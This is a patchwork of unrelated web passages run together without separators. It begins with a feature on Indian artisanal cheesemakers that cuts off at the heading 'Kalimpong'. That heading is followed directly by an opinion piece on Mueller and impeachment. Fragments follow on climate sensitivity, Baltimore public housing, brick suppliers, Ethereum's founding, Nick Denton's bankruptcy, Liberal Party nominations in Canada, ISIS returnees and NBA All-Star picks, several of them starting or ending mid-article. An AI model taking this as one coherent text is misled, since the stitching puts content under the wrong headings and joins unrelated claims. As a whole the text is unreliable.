Then there is Caroselle Dairy Products Pvt. Ltd Kodaikanal. Bengaluru-based Mukund Naidu quit engineering studies in 1991, moving to a farm in the Tamil Nadu hill town. “In those days, we were out in the boondocks, about 17km from town in a hilly area. Access to transport was minimal and we found it difficult to ship fresh milk to town every day, so we decided to make some cheese." Naidu and New Zealander David Hogg set up the cheese unit and are suppliers of European-style artisanal cheese to a number of restaurants in the south. “I was one of the first people to make ‘pasta filata’ mozzarella in India, way back in 1994," says Naidu. This soft Italian mozzarella, made by stretching hot cheese curds, is not the same as the industrial version that is made hard enough to grate over pizzas and pastas. “I showed it to chefs back then who had no idea what to do with this ball, how to apply it to their dishes," laughs Naidu.
All that changed with the Internet. Cheesemaking is now just a click away and a search for a mozzarella recipe on YouTube throws up no less than 300,000 results. You could be making cheese in less than an hour. It’s how Mumbai-based Prateeksh Mehra learnt to make his versions of Brie and Camembert.
Mehra, a commercial food photographer, caught the brewing bug in 2014, when the craft beer craze in the country was cresting. “I used to play around with cheese and beer pairings when it struck me that the process of making beer was very similar to that of making cheese."
Much in the way he learnt his brewing—online—he began to teach himself about cheeses. Soft cheeses in particular caught his fancy, partly because he didn’t have a lot of patience, he says. “Hard cheeses, like Cheddar, need at least six months to reach maturity, and that’s a long time to wait to see if it has comes out right. If not, it’s six months of work gone to waste."
He roped in his brother and began making a Brie-style cheese, something no cheesemaker was doing in India then, and which would take just over three-six weeks to mature. They surprised themselves with the result—a soft rind Brie with a profound buttery note, without the faint ammoniac tang of French Brie de Meaux. They marketed it at the BBC Good Food Show in Mumbai in 2014, found a few interested chefs, and it took off. Today they sell in units of 150g for Rs300 each under The Spotted Cow Fromagerie brand. The brothers make almost 250kg of cheese a month in the basement of their home in suburban Mumbai, supplying to chains such as Indigo Delicatessen and Salt Water Café in their city, and Toast & Tonic in Bengaluru.
Travel is the other factor that’s influencing both the consumption and production of cheese. Well-travelled customers are now demanding the same quality of cheese they eat on their trips abroad. Cheesemakers are applying the knowledge gathered abroad to meet this demand.
Mansi Jasani, who was pursuing a master’s in food studies at New York University, signed up for a three-day cheese boot camp at Murray’s Cheese, New York’s best-known artisanal cheese retailer. “I learnt about different styles of cheese, milk chemistry, cheese chemistry, how it’s made, terroir... basically everything related to cheese. After those three days, people around me were done, they were cheesed out. I, on the other hand, was like, where can I eat more?" She quit studies to focus on cheese and landed a three-month internship at Murray’s, where she was put to work in the cheese caves. “My daily chores were cleaning, vacuum packing, unwrapping cheeses, sorting them, turning the harder cheeses…and on my birthday, they let me have the cheese trier (an instrument that lets you take a sliver of cheese out to test its ageing without cutting out a slice) to try any four cheeses in the caves. It was the best day of my life." That was also when she realized that though she enjoyed cheesemaking—she currently sells chèvre, or goat cheese, from her home in Mumbai—what she wanted to be was a cheesemonger, to curate, collect and sell cheeses made by local cheesemakers and help develop a cheese culture. In 2014, she founded The Cheese Collective, which curates cheeses from across the country and supplies it to parties, corporate events and restaurants. Now, she is in the process of setting up her own cheese cave and factory in Lonavala, near Mumbai.
Calcutta Calabrese from Toast &Tonic, Bengaluru. Photo: Hemant Mishra/Mint
Grating issues
Challenges have remained pretty much the same since the early days of Indian cheesemaking. Cold-chain logistics remain the weakest link in the supply chain. Cold-truck breakdowns, unreliable shipping and a total lack of knowledge at food stores has hobbled the reach of these cheeses. Stephen Kairanna, who owns the Nadur Goat Farm, about 25km from Udipi, and who, with his wife Priya, began selling goat’s milk feta in 2016, found that the cheese leaving his factory was not the one reaching customers. “I put my cheeses in a reputable chain of high-end food stores and found that they weren’t even refrigerating it. As a result, customers would eat cheese that’s gone off and imagine that’s what it really tastes like. They would obviously never buy it again." Last year, he began shipping it directly to interested customers and restaurants, so he could control the quality.
Lack of customer knowledge is still a major hurdle in retailing local cheeses. “I have got a lot of strange questions from people over the years," says Jasani. “One of the more popular ones is, ‘Is there egg in this cheese?’"
Arbitrary government regulations have actually helped local cheesemakers though. In 2011, the Food Safety and Standards Authority of India (FSSAI) decreed that animal-rennet cheeses could not be imported—this accounts for the majority of cheese produced in Europe. “We have a bunch of issues importing cheese with certain ingredients into India. It’s not country specific, but there are certain parameters and guidelines defined by the FSSAI regarding the source of rennet used in making cheese, ingredients used, and various other factors, due to which restrictions come in play," says Swasti Aggarwal, food strategist at the Foodhall chain of stores that stocks both Indian and imported cheeses.
FSSAI regulations also decree that milk and milk products imported into the country must be heat-processed to kill bacteria, which automatically disqualifies raw milk cheeses. “Once that happened, it eliminated about 80% of the world’s repertoire of good quality cheeses, because it’s just not made that way; it changes the nature of the product," says chef Manu Chandra, the man behind the Monkey Bar gastropubs and Bengaluru’s Toast & Tonic. “So what we’re inundated with is a lot of supermarket style, highly processed variants of famous cheese. Instead of a beautiful French Brie, you will get a Danish pasteurized pack that, like a McDonald burger, you could leave out for three years and nothing would happen to it."
Local cheesemakers were happy to step in to fill this void, and restaurateurs were happier paying a premium for local cheese made right than using lower-quality imported cheese.
And yet, while we’re all celebrating the rise of the small great Indian cheese industry, Raghavan sounds a note of caution. “I’m not convinced I want to be a cheesemaker in India; I have travelled all over Europe and eaten and made cheese there and I don’t think it’s possible to make that quality of cheese here."
It’s not just the quality of milk, or the terroir, he says. “They (Europeans) have a tradition of dealing in raw milk. In India, everything we do with dairy is boiled." This culture of boiled milk hasn’t made Indians vigilant about raw milk and inculcating it in the farmers who supply the milk is difficult. “Who am I to go tell a farmer, ‘Do it like this, your parents were wrong?’"
The other factor is the use of vegetarian rennet. “Vegetarian rennet is made in a laboratory and you train bacteria to produce chymosin, the active enzyme, and the way it deals with the proteins in milk lends it some bitterness and when you make enough cheese or taste enough cheese, you can feel it. Anything you do to fix that changes the cheese."
He also doesn’t see small farmers and dairy owners being able to sustain themselves on cheese alone. The working model is to have a hybrid dairy, one that makes yogurt and supplies milk, alongside the cheese. We have a long way to go, Raghavan says, before we can even think of competing with international cheeses.
Over the last two years, however, there has been a steady push by restaurateurs towards local produce and greater respect for home-grown ingredients. Trends like foraging and slow food have found enthusiastic proponents here. So while restaurateurs are happy sourcing from Indian cheesemakers, they’re also looking to revive lesser-known Indian cheeses.
Chandra, for instance, shaves smoked Bandel, an intensely salty, crumbly cheese that he sources from Kolkata, over sourdough toasts. Chef Sabyasachi Gorai, at his Armenian restaurant Lavaash By Saby in Delhi, serves a cheese platter composed entirely of indigenous cheeses—salted and smoked Bandel and a sharp Kalimpong. At Bombay Canteen in Mumbai, Thomas Zacharias serves topli-nu-paneer, a Parsi cheese with a wobble like the lightest panna cotta. And at Mumbai’s Masque, a farm-to-fork restaurant that leans heavily on foraging, chef Prateek Sadhu is bringing back kalari, a “pasta filata" cheese from Jammu, not unlike mozzarella, that he grew up on. Well-known chefs abroad have been vital in driving food trends, so the great push for local cheese could possibly come from our own well-known, home-grown chefs.
In the meantime, though, we can revel in our local cheeses and hope that in a few decades, we will have a lovely Indian cheese of our own to be buried with and bamboozle scientists with in the future. Somebody please remember to pack the crackers.
Photo: Priyanka Parashar/Mint
Going local
The Spotted Cow Fromagerie, Mumbai
Prateeksh and Agnay Mehra produce Bombrie, Camembay and Rombay, versions of French and Italian bloomy rind cheeses like Brie, Camembert and robiola. These are available on Thespottedcow.in and also retail at Foodhall Mumbai.
Himalayan Cheese, Srinagar
Dutchman Chris Zandee works with local Gujjar and Bakarwal pastoralists to make Gouda, Cheddar and the local kalari and build a sustainable, community-based business in Kashmir. Order these on Himalayancheese.com or from Foodhall stores.
La Ferme Cheese, Puducherry
Originally started to supply handmade, artisanal cheeses to the residents of Auroville, La Ferme’s products today are available in speciality shops all over the country. These all-natural cheeses are made from milk supplied by local farms and include styles of Cheddar, Parmesan, feta, Gruyère and a pungent auroblochon. Buy them on Auroville.com.
Vallombrosa Cheese, Bengaluru
Authentic buffalo mozzarella, bocconcini and burrata are turned out daily by the monks of the Vallombrosa Benedictine order on the outskirts of Bengaluru. Set up by Father K.L. Michael in 2004 to take advantage of India’s buffalo milk production—the largest in the world—and to sustain the monastery, these are now available at some of the country’s finest restaurants, and retail stores in Bengaluru. For more details, visit Vallombrosacheese.com.
Flanders Dairy Products, Delhi
Sunil Bhu brought a little slice of Belgium to Bijwasan, on the outskirts of Delhi, when he set up Flanders Dairy in 1991. They now produce flavoured Gouda, goat’s cheese, mozzarella, mascarpone, ricotta, scamorza and kwark that retails from their own cheese store, The Cheese Ball, on Lodhi Road. For more details, visit Flanders-dairy.com.
Mansi Jasani at her home with her favourite cheeses and dips. Photo: Aniruddha Chowdhury/Mint
‘Desi’ cheese
Get to know a few local varieties across the country
Chhena
Bengal owes the Portuguese a great food debt. When they first made landfall on the east coast of India and discovered they couldn’t get their beloved cottage cheese here, they set about making it by acid-curdling milk and treating the curds to form three different kinds of cheese. Chhena, that ubiquitous base of Bengali sweets, is made by splitting milk—just like ‘paneer’—then kneading the curds until it becomes soft and pliable, to be shaped into ‘rasgullas’ and ‘sandesh’.
Cheese platter from Lavaash By Saby. Photo: Pradeep Gaur/Mint
Bandel
Also, in the east, the ‘chhena’ is pressed to form circular discs, then salted and dried to form its savoury cousin Bandel, a milky, chewy cheese. This is also smoked for a deeper, stronger-flavoured Bandel.
Chhurpi
A cheese that’s travelled across the Himalayas, ‘chhurpi’ is made from yak milk, specifically yak buttermilk. Much like ricotta, the buttermilk is boiled until the milk solids separate from the whey, before it’s drained to make soft ‘chhurpi’. To preserve it though, it’s drained further, then pressed under weights till it forms a hard, chewy mass.
Courtesy: Himalayan Cheese
Kalari
Native to Udhampur in Jammu, ‘kalari’ or ‘maish krej’ is a soured milk cheese that uses a hot pan to stretch the curds and shape it into ‘chapati’-like discs. These are then sun-dried, so it’s hard on the outside, but still moist inside.
Kalimpong
There are some misunderstandings about a Special Prosecutor's role (or any prosecutor's) as well as some confusion about what is required to impeach a President. The short answer is that there isn't really an offense or level of offense required to impeach a President. While it is true that an official can only be impeached due to "treason, bribery, or other high crimes and misdemeanors," the Supreme Court case Nixon v. United States deemed that the Supreme Court did not have the authority to determine whether the Senate had properly tried the accused official. Thus, it has become modern parlance, practice, and expectation that there really is no criteria for determining an "impeachable offense" other than what Congress deems so.
It is not necessary for Mueller, or any prosecutor, to bring satisfactory charges against or to convict an official duly impeached. This has a few potential ramifications. One is that some believe Mueller, despite never indicting Trump, could potentially "dig up enough dirt" that despite not being able to indict Trump for a crime, the Congress could still make a case for impeachment. When Mueller is on the clock, being paid with taxpayer dollars, this literally isn't his job. A prosecutor is to use the resources at his disposal in the effort to prosecute a crime, not to dig up random potentially compromising or innocuous "dirt." Another ramification, from Congress's perspective, is that articles of impeachment can be drafted at any time for almost any reason. Can you imagine the outrage over knowing which members of Congress would or would not want to oust a President without even an indictment? The precariousness of a Republic where an official could be impeached at any time, and the nonexistent charges worried about later? As an aside, I would implore Congress not to use this powerful tool, intended as a last resort, as a means of partisanship.
But back to Mueller's case itself. If he intends to convict Trump or his team of anything resembling collusion with Russian government in the election, it would have to be conspiracy. Conspiracy against the United States is defined as:
"If two or more persons conspire either to commit any offense against the United States, or to defraud the United States, or any agency thereof in any manner or for any purpose, and one or more of such persons do any act to effect the object of the conspiracy, each shall be fined under this title or imprisoned not more than five years, or both.
If, however, the offense, the commission of which is the object of the conspiracy, is a misdemeanor only, the punishment for such conspiracy shall not exceed the maximum punishment provided for such misdemeanor."
Now, this is an actual statutory violation Mueller could investigate, but why do I say the investigation is making no progress even with the recent guilty plea of Michael Flynn?
Many have alluded to the possibility that Mueller is offering reduced sentencing in return for these pleas and information on higher-up illegal activity. However, if a prosecutor wants to use this method, he has to have a plea that involves a crime for which he could prosecute someone at the top of the proverbial food chain. Then, once the person who has plead guilty and cooperated (if the prosecutor deems the guilty has cooperated substantially enough) he can advocate for the minimum sentencing for the pleaded-to crime. Simply put, if Flynn et al. didn't plead guilty to conspiracy, it's very unlikely that they will somehow be able to implicate Trump et al. in conspiracy based on their information or testimony.
Hannah Hickey UW News
How hot our planet will become for a given amount of greenhouse gases is a key number in climate change. As the calculation of how much warming is locked in by a given amount of emissions, it is crucial for global policies to curb global warming.
It is also one of the most hotly debated numbers in climate science. Observations in the past decade seem to suggest a value that is lower than predicted by models. But a University of Washington study shows that two leading methods for calculating how hot the planet will get are not as far apart as they have appeared.
In climate science, the climate sensitivity is how much the surface air temperature will increase if you double carbon dioxide from pre-Industrial levels and then wait a very long time for the Earth’s temperature to fully adjust. Recent observations predicted that the climate sensitivity might be less than that suggested by models.
The new study, published April 17 in Nature Climate Change, focuses on the lag time in Earth’s response. According to most models of climate change, during the early stages of global warming the sensitivity to greenhouse gas emissions is relatively small. As the ocean catches up and feedbacks kick in, however, the sensitivity increases and the warming rate speeds up. The new study shows that when this difference is factored in, the observations and climate models are in agreement, with recent observations supporting a previously accepted long-term climate sensitivity of about 2.9 degrees Celsius.
“The key is that you have to compare the models to the observations in a consistent way,” said author Kyle Armour, a UW assistant professor of oceanography and atmospheric sciences. “This apples-to-apples approach — where you factor in how long the planet has been adjusting to a change in its atmosphere — shows that climate sensitivity in the models is actually in line with what has been seen in the recent observations.”
The planet’s temperature takes thousands of years to fully adjust to a shift in the makeup of its atmosphere — the warming Earth has experienced to date is just a taste of what is in store. Early climate studies suggested that if the amount of carbon dioxide in the atmosphere doubled from pre-Industrial levels (we’re now about 1.4 times) the planet would eventually warm by about 3 degrees C, with possible values as high as 5 or 6 degrees C.
But recent observations of warming so far and emissions to date have suggested that climate sensitivity may be just under 2 degrees Celsius, with a maximum possible value of 4 degrees C.
“If true, this really would be a shift in our understanding of the long-term climate sensitivity,” Armour said.
For the new study, Armour looked at 21 leading global climate models run with increasing carbon dioxide. He focused on the warming rate compared to carbon dioxide levels, or climate sensitivity, in the early stages compared with in the late stages. The late-stage sensitivity across all the models was an average of 26 percent higher than the early-stage values. When factoring in that today’s observations are for the early stages of warming, the recent observations support a climate sensitivity of 2.9 degrees Celsius.
“There have been a lot of other papers that looked at the reasons for the changes in climate sensitivity over time,” Armour said. “This paper was the first attempt to quantify the effect across all the comprehensive models we use for climate prediction.”
The situation can be likened to pressing the gas pedal on a car, but the mass of the vehicle takes a while to get rolling. If the driver floors the gas pedal, it can be tricky to calculate the car’s final speed based on its initial reaction.
In the Earth system, the ocean temperatures around Antarctica and in the eastern Pacific Ocean have not risen in recent decades. Armour’s previous research showed that deep, slow currents mean seawater touched by climate change will take centuries to reach the surface of the Southern Ocean. Similar but less extreme, currents reaching the eastern tropical Pacific from below the surface have also not seen daylight for decades.
Eventually, water touched by a warmer atmosphere will reach the eastern tropical Pacific and later the Southern Ocean. Warming in these regions will then activate feedbacks that will kick the planet’s warming into a higher gear.
“Currently we don’t have any evidence that the models are too sensitive compared to the observations,” Armour said. “The models appear to be in line with the observed range of warming.”
The various climate models show a wide range of values between the early-stage and late-stage sensitivities. Armour and students are exploring why these differences between the models exist, in order to improve them and better model how climate sensitivity shifts over time.
The families, who represent less than 1 percent of public housing units maintained by the Housing Authority of Baltimore City, earned a combined $798,563 over the income limits, according to an analysis of the data by The Baltimore Sun.
Income caps for public housing vary by city and family size. For example, in Baltimore, a family of four can earn no more than $44,200 to qualify for housing.
The inspector general for the U.S. Department of Housing and Urban Development, which reviewed eligibility for 2014, found that some families in Baltimore were only a few hundred dollars over the limit. Others substantially exceeded it — in one case by more than $82,000.
The average amount of the overage was about $12,500, according to the analysis.
The data stem from an audit released by the inspector general in July. It estimated the federal government would spend $104 million a year on families earning more that the income caps, money "that otherwise could have been used to house low-income families." The audit recommended the agency take steps to move the families to private housing.
But the inspector general's office did not provide local data at the time. That information was released later after news organizations, including The Baltimore Sun, requested it under the Freedom of Information Act.
A HUD spokesman said the agency is taking additional steps to encourage local authorities "to establish policies that will reduce the number of over income families in public housing."
A spokeswoman for the Baltimore housing authority said it is the agency's policy to allow families earning above the income threshold to remain in the units until they are ready to move to private housing. The agency said those families met the requirements when they were admitted to the program.
"These families usually stabilize the community and serve as role models for other residents," the agency said in a statement. "Those families are permitted to remain in their HABC units until they determine that they can handle paying non-subsidized rent.
john.fritze@baltsun.com
In large companies, orders for materials are computerised so that they are automatically performed when the system detects a reduction to a pre-established limit. In smaller companies, the material has to be counted manually, and the documentation related to the orders has to be managed manually.
In any case, you have to do a lot of administrative work that requires a lot of coordination. In addition, the type and quantity of material needed must be established with the suppliers. This part of the work also involves performing a job in the warehouse, controlling the boxes, as well as their storage and distribution.
Bricks Supplier Characteristics
To work as a brick supplier, the worker must have:
Ability to convince and professionalism to deal with suppliers and customers. Many customers expect the advice of an expert salesman.
An excellent level of spoken and written English.
Practical knowledge of information technologies (in general, internet and databases).
Advanced mathematical knowledge, to make calculations, estimate costs and quantities of goods, and manage large amounts of money.
Resistance to spend a lot of time standing or walking.
The brick supplier will have to be able to do the following:
Improve their knowledge about the products they sell, and stay up to date on new products, materials, and technologies.
Teamwork.
Learn quickly.
The work could be unsuitable for people who suffer dust allergies or who have breathing difficulties.
Suppliers and Customers
The suppliers of construction materials have a lot of contact with customers. They make telephone consultations and attend them in person. Much of this work involves giving advice on which are the most suitable materials, they also advise on the tools and accessories that should be used in the construction tasks.
Most suppliers of construction materials have access to a product database or a web page where they consult prices, specifications, techniques, and information on health and safety for customers. Sometimes, they have to make estimates about quantities and prices to place large orders.
Potential Customers
The stores and deposits of construction material and construction companies make up a special clientele, since they can generate continuous contracts of supply, although at less lucrative prices. And they are ventures that can be easily located and reached by direct marketing.
The external visits and prospects are the most indicated forms, due to the fact that they are relatively cheap and effective. Periodically this should be reinforced, with more prospects and personalised emails sent.
Bricks Composition
Currently, there are dozens of types of bricks. The market, however, is basically dominated by two models: the common or solid, smaller and without holes, and the hollow, larger and with gaps depending on the holes.
Brick-makers generally produce other elements besides bricks, such as tiles, handles, and glasses.
The finished products are placed in an organised way in the commercial stock, where they are easily identified, loaded and unloaded. It is made by the auxiliaries of the production team.
Vitalik Buterin was first introduced to Bitcoin and cryptocurrencies in 2011. That same year he co-founded Bitcoin Magazine and wrote many articles explaining his views on the digital currency's future. He later worked on Mastercoin and some alternate coins based on the Bitcoin codebase. This work led him to believe the Bitcoin blockchain was limited in scope.
The Ethereum white paper was released in 2013, and it documented a new open-source protocol for creating decentralized applications.
Ethereum was officially announced on the Bitcointalk forum in 2014. In addition to Buterin, Ethereum was co-founded by Mihai Alisie, Anthony Di Iorio and Charles Hoskinson. Buterin also announced that he was working with developer Dr. Gavin Wood and Joseph Lubin. Wood soon released the Ethereum yellow paper , which covered the Ethereum Virtual Machine ( EVM ), the runtime environment that executes all of the smart contracts on the network. Lubin would go on to found ConsenSys , a venture studio focusing on decentralized applications.
The Ethereum Foundation held an ether crowdsale in July 2014 during which they sold 60 million tokens. 12 million ether ( ETH ) tokens were created so the Ethereum Foundation could expand its development and marketing efforts. The Frontier was the first release of the Ethereum network. It was released a year after the crowdsale and provided a bare-bones mechanism for developers to interact with and build apps on the network.
Both the Ethereum network and community have grown substantially over the last year. The Ethereum Enterprise Alliance, an initiative working to connect the world's largest companies to the Ethereum network, recently announced 86 new partners including Microsoft, Intel and BP. Similarly, a multitude of new blockchain projects leveraging the Ethereum blockchain have gained attention and capital.
The reason for the filing is that Denton is personally liable for a $125 million share of the $140 million Hulk Hogan sex tape judgment. The decision to file comes after a Florida appeals court earlier in the day denied Denton and former Gawker editor A.J. Daulerio’s latest request for an emergency stay while the company appeals the judgment.
As previously reported, Denton's attorneys had argued that a stay is warranted because Hogan's lawsuit and other litigation against Gawker is being funded by billionaire Peter Thiel, a critic and target of the online media company’s coverage of Silicon Valley.
“Gawker Media Group’s resilient brands and people will thrive under new ownership, when the sale closes in the next few weeks,” Denton said Monday on Twitter. “On this bitter day for me, I am consoled by the fact that my colleagues will soon be freed from this tech billionaire’s vendetta.” A representative for Hogan did not immediately respond to a request for comment.
(2/2) On this bitter day for me, I am consoled by the fact that my colleagues will soon be freed from this tech billionaire’s vendetta. — Nick Denton (@nicknotned) August 1, 2016
In his filing, Denton lists assets of $10-$50 million and liabilities between $100 and $500 million.
Rarely in all my years covering politics have I talked to someone better-equipped for modern public life – young, smart and tech savvy, with an innate understanding of what is hurtling towards us, not to mention ideas on how government should respond: robot taxation, education tax credits for those in automation-prone industries and so on.
On the doorsteps, Gill has talked about the challenges and opportunities of automation to the people in his riding.
“There is an awareness gap and it must be bridged,” he said in an interview.
He remembers talking to a 45-year-old truck driver about self-driving trucks that are already able to navigate themselves across the continent. The technology is there to replace the father of two, even if the regulations aren’t yet in place.
“He was blown away and asked what he should do for himself and his daughters … His entire family offered to come out and knock on doors with us,” he said.
Unfortunately, it is unlikely he will emerge as the victorious candidate because he is not the chosen one. As noted earlier this week, other candidates allege the party has a preferred candidate in mind for Markham-Thornhill: Justin Trudeau’s director of appointments, Mary Ng. She is, by all accounts, able, bright and well-qualified — but that’s not the point.
The race does not always go to the candidate backed by the party aristocracy, but that’s the way to bet.
Gill says he’s not keeping a close eye on the politics of the nomination race and that everyone is operating by the same rules. He says he has not been asked to step aside in favour of Ng, as other candidates allege.
But Gill, who has volunteered for Liberal campaigns for a decade, must be aware that the contention that theirs is the most open party in Canada is about as credible as the claim that the 2015 election would be the last fought under the first-past-the-post voting system.
Michael Kempa, an associate professor at the University of Ottawa, sought the federal Liberal nomination for Scarborough Southwest at the last election. Yet after more than a year campaigning, he discovered that a “star” recruit — former Toronto Police chief Bill Blair — was being parachuted into the riding, with the backing of the leadership. The feeling was, he said, akin to “an open-handed slap to the mouth.
“At least in the major urban centres in Toronto, half the people coming out are new Canadians who believe there will be free and open nominations. If they stick their toe in and it’s their first experience, they’ll never be back,” he said in an interview. “It’s a violation of process. Like anything else in politics, over time you accumulate a moral deficit and create a groundswell of opposition.”
Allegations about the federal Liberals manipulating the nomination process are not limited to Markham-Thornhill. In another byelection in Montreal, the mayor of a city borough, Alan DeSousa, has been blocked from running in the Saint-Laurent riding, after the Liberals told him he is not eligible, for reasons that have not been disclosed. Trudeau is said to favour former Quebec Liberal cabinet minister Yolande James.
These might appear to be mere local difficulties that should not divert Liberals from the latest viral outbreak of online pictures of the prime minister with his shirt off.
But these are dangerous days. Trust in government in this country has slid dramatically since the Liberals came to power, according to a survey by Edelman released last month. Four out of five Canadians believe elites are out of touch with regular people — fertile terrain for the kind of populist outbreak we saw in the United States last year.
Trudeau is clearly aware of the perils — hence the cross-country town-hall “listening tour” in January.
But the repeated intervention in nomination battles suggests a disconnect between the party’s leaders and its rank and file — perhaps even a disdain.
That is dangerous for democracy. It suggests that the Prime Minister and the people around him have forgotten the source of their power and no longer feel accountable to it.
Afraj Gill said an upbringing in a strong immigrant family compelled him into community service, where he believes a combination of good public policy and technology are necessary to improve quality of life for the common person. He chose the Liberal Party as the vehicle for those aspirations, a party that proffers inclusion and equality of opportunity.
The party should live up to those values.
You also see the age and contract years of each player. Players can get better until age 25, at age 30 their skills will begin to decrease. Hint: Don't commit long contracts to older players. Players on your roster with zero contract years are free agents and are marked by an asterisk.
At the bottom of the screen you will see Squad Ratings which reflect skills on a team level. These run from 0 to 5 stars and can be used as a general guide of needs for signing free agents and drafting college players.
As ISIS' territorial control erodes in Iraq and Syria, many of the more than 40,000 foreign fighters who joined the terrorist group have started to head back to the countries from which they came.
There are now at least 5,600 people from 33 countries who have left ISIS' so-called caliphate and returned home, according to a report from The Soufan Center.
Some countries have seen more returnees that others: About half of the fighters from the UK, Sweden, and Denmark have returned, while 10% of the fighters from Russia or former Soviet republics have gone back.
Iraqi security forces with an ISIS flag they pulled down at the University of Anbar, in Anbar province, July 26, 2015. REUTERS
Some countries in Southeast Asia, however, have seen the return of not only their own citizens, but also the arrival of ISIS fighters who have chosen not to go back to their own countries.
ISIS kept detailed records of the fighters who joined, and those records — plus captured computers and cellphones — have helped the US-led coalition fighting the group create a profile of its membership.
Nearly 20,000 names have already been shared with Interpol.
ISIS' success in attracting foreign recruits — many times more than the Afghan fighters resisting the Soviet Union in the 1980s drew — may help sustain the group in the long-term, if not as a cohesive group then as an inspiration for others.
Choosing five starters and filling out an actual All-Star ballot?
Can't remember the last time we actually did that. Probably not since my teenage years.
So, yeah, it feels strange. ‎It will take some getting used to.
Speaking strictly for myself, it's not because casting one ballot's worth of All-Star votes presents some sort of huge moral quandary, since the reality is that many of us covering this league often unknowingly have a tangible impact on NBA proceedings with so many things we write and say. In this brain, I simply always imagined that the All-Star starters were strictly the fans' domain and should/would remain so.
But I get it.
‎In the electronic age, when intricate voting campaigns can be waged on behalf of undeserving All-Star candidates, adding the league's nearly 450 active players and a panel of media members to the voting process to short-circuit such shenanigans is a natural counter. It also gives the guys on the court, who've wanted more of a voice in these matters for a long time, what they've been seeking.
So here we are. Our unofficial reserve selections are coming next Friday after the starters are announced, as always, but let's first share our first-ever formal picks for the starters in each conference, with all balloting (for fans, players and the press) scheduled to end Monday night at 11:59 p.m. ET:
Western Conference
Backcourt: James Harden and Russell Westbrook
It's hard to imagine Stephen Curry finishing anywhere but No. 1 among West guards in fan balloting. But Harden and Westbrook are widely regarded as the league's top two MVP candidates at the season's halfway point, which figures to make them both pretty automatic with the media.
Harden is in the midst of a revolutionary season as a full-time point guard for the first time, meshing with new coach Mike D'Antoni and the retooled roster around him to such a positive degree that the Rockets are on pace to jump from last season's 41 wins to 62.
Westbrook, meanwhile, has a 50 percent chance of becoming just the second player in league history to average a triple-double for an entire season, according to the latest calculations from ESPN's tireless Kevin Pelton.
Our firm belief is that Curry's supposed drop-off is really more of a scaling back from last season's historic production, which was probably inevitable with the arrival of Kevin Durant and the equally inevitable adjustment phase for all involved.
He'll likely have to surrender his starting spot once the player and media votes are factored in, but Curry has nothing to worry about here. He's an All-Star lock, too.
Frontcourt: Kevin Durant, Kawhi Leonard and Anthony Davis
The pool of worthy candidates for just three available spots is seriously deep.
Davis and DeMarcus Cousins jump out as two names from losing teams that you suspect will do well in voting by their on-court peers, which is bound to make things interesting.
Yet there are realistically two locks no matter how you look at things.
Durant has not only made a highly efficient start to life in the Bay Area, but has also played bigger and with more consistent force as a defender ‎than we've ever seen.
Down in San Antonio, Leonard's reputation as one of the game's foremost two-way stars only grows, thanks to the additional offensive responsibility he has taken on in his first season post-Tim Duncan, ‎on top of his well-chronicled work as a perimeter stopper that opposing teams strain to avoid.
So those are your gimmes: KD and Kawhi. The toughest call among West starters, ‎assuming you're casting these votes on merit, is trying to narrow down a starry quartet of deserving choices -- Draymond Green and Marc Gasol in addition to Davis and Cousins -- for one remaining slot in the West frontcourt.
As often as Warriors coach Steve Kerr calls Green "in some ways our most important player," Draymond's case is a strong one on that basis alone, given that the 34-6 Warriors -- for all the things they're purportedly still trying to iron out -- sport the league's best record.
Gasol gave us plenty to think about too, having overcome an 11-game injury absence for Mike Conley in December, as well as the intermittent availability of Chandler Parsons, to help keep Memphis among the league's top three defenses and, until recently, on a 50-win pace. Big Spain also gets some extra credit here not for the questionable Conor McGregor imitations but for expanding his game offensively to become a 3-point threat.
Ultimately, though, it’s Davis who has the edge – with the game in New Orleans -- as he tries to drag the Pelicans to the postseason in the wake of an 0-8 start. We haven’t seen that sort of recovery in the NBA since Chicago did it in 2004-05.
Both Davis and Cousins have their teams close enough to the No. 8 spot in the West to get a pass from this stubborn media mainstreamer who can't resist throwing that trusty team-success card on the table. I'd frankly be good with either one of them starting.
Eastern Conference
Backcourt: DeMar DeRozan and Isaiah Thomas
Remember when I mentioned how strange this assignment feels?
It didn't get any more comfortable when I got to this section, with only two open spots for five players who could inspire a daylong debate when you try to separate them.
Kyrie Irving. John Wall. Kyle Lowry. DeRozan. And Thomas.
Good luck.
Irving, of course, is the runaway No. 1 choice in the fan vote and, truth be told, presumably would be No. 1 on most anyone's list if the assignment were simply drafting the standout from the five players mentioned. But our aim here is to reward the best seasons we've seen to this point. I don't think Irving, on an individual basis, can claim he has had a stronger start to 2016-17 than Wall, Thomas or the Toronto duo.
Yet that still leaves plenty of work to do. Thomas or Wall? DeRozan or Lowry? The two Raptors together? Some other combination?
Tempting as it was to choose both DeRozan and Lowry, I only managed to make room for one of them. And that's DeRozan, who won bonus points here for those 19 days in a row in November when he stood as the league's leading scorer, helping Toronto get off to a fine start and, just as crucially, taking the early pressure off Lowry as his fellow Olympian eased into the season without the same splash.
Lowry is rolling now, but DeRozan -- No. 5 in the East in player efficiency rating as of Friday morning -- couldn't have come back from Rio more ready.
Wall vs. Thomas is another coin flip. You can't go wrong with either. I know Wall has won many admirers for the way he sparked Washington's turnaround from a 6-12 start, but we're giving the edge to the little lefty because of Thomas' consistency, his fourth-quarter excellence and the way he kept the Celtics afloat while Al Horford was missing all those games in November.
Frontcourt: LeBron James, Giannis Antetokounmpo and Jimmy Butler
In stark contrast to the point guard overflow that complicates backcourt selections in the East, this is a frontcourt trio that essentially picks itself.
I realize that the latest returns from the fan vote, released Thursday, have Kevin Love in a starting spot, but I suspect that the overwhelming majority of media ballots will look like this one, with Antetokounmpo and Butler joining LeBron in the first five.
It's not like Love would be out of place as a starter, but there's a convincing argument to be made that The Greek Freak and Butler -- like LeBron -- have been top-10 players league-wide in terms of impact this season.
The Rise of Giannis as one of the leading vote-getters, having never been an All-Star before and playing out of humble Milwaukee, also happens to be one of the stories of the season.
There can be no dispute, at worst, that Antetokounmpo and Butler have been top-5 players in the East to this point, which we anticipate will force the likes of Love and Paul George to rely on East coaches to secure a reserve spot.
(One quick footnote on the prospect of LeBron, Kyrie and Love all starting for the East: 1989-90 is the last time three starters from one team -- -- Magic Johnson, James Worthy and A.C. Green of the Lakers -- were voted in by the fans. James, Dwyane Wade and Chris Bosh all started the 2013 All-Star Game for the East, but Bosh was starting in place of the injured Rajon Rondo.)
